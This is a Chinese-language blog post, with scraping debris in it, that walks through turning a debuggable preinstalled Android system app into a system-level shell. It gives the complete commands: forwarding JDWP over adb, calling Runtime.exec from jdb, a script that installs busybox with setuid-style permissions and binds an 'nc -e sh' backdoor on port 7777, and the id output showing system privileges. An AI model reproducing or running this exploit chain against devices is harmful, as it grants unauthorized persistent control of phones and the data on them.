Android 5.1.1, Linux 3.10.49java
發現了一個原裝的系統應用,竟然能夠被調試,反正出如今Android Studio的可調式進程清單裏,看來是DEBUG版本就那樣稀裏糊塗的燒到主板裏了。 先查查看用戶身份:android
pm dump com.example.app
裏面可以看到用戶身份是"system"。 原本一個run-as就能夠轉換成這個身份了的,shell
run-as com.example.app
可是報錯說沒有這個package,緣由不明。好幾個能夠調試的app裏,有的可以run-as,有的不行。app
那就轉向jdb的路子:tcp
$ adb forward tcp:18600 jdwp:那個系統app的pid $ jdb -attach localhost:18600 > threads group system: (java.lang.Thread)0x2a86 Signal Catcher ... (java.lang.Thread)0x2a87 FinalizerWatchdogDaemon ... ... group main: (java.lang.Thread)0x2a8d main ... (java.lang.Thread)0x2a8e Binder_1 ... ... > thread 0x2a8d main[1] stepi > /*執行到這裏後,打開手機動一下那個app觸發調試器*/ stepi completed: "thread=main", android.os.MessageQueue.next()、row=145 bci=22 /*而後再輸入print new...命令運行一個腳本以便啓動一個shell server偵聽7777端口*/ main[1] > print new java.lang.Runtime().exec("sh /sdcard/qj.sh")
只是有幾個/sdcard/...文件得事先傳到手機上。 /sdcard/qj.sh:ui
date > /sdcard/log cp -f /sdcard/busybox /data/ 2>> /sdcard/log || exit 1 chmod 4777 /data/busybox 2>> /sdcard/log || exit 1 (while true; do /data/busybox nc -l -p 7777 -e sh; done) >> /sdcard/log 2>&1 & echo server OK >> /sdcard/log
/sdcard/busybox:.net
[從這裏下載](http://busybox.net/downloads/binaries/latest), 通常選armv7就好了。
而後用nc連上7777端口就能夠連上後門shell server,輸入任何命令都會以system身份之行。調試
adb forward tcp:7777 tcp:7777 nc localhost 7777
但是搞到手後發現離root還差一點,不可以改寫/system下的東西,也不能mount。可以改/data下的東西,也頗有用,看看後面能不能找到方法升級成root。code
id命令的結果:server
uid=1000(system) gid=1000(system) groups=1000(system) 1007(log) 1010(wifi) 1015(sdcard_rw) 1021(gps) 1023(media_rw) 1028(sdcard_r) 3001(net_bt_admin) 3002(net_bt) 3003(inet) 3004(net_raw) 3005(net_admin) 3006(net_bw_stats) 3009(qcom_diag) 9997(everybody) 41000(u0_a31000) context=u:r:system_app:s0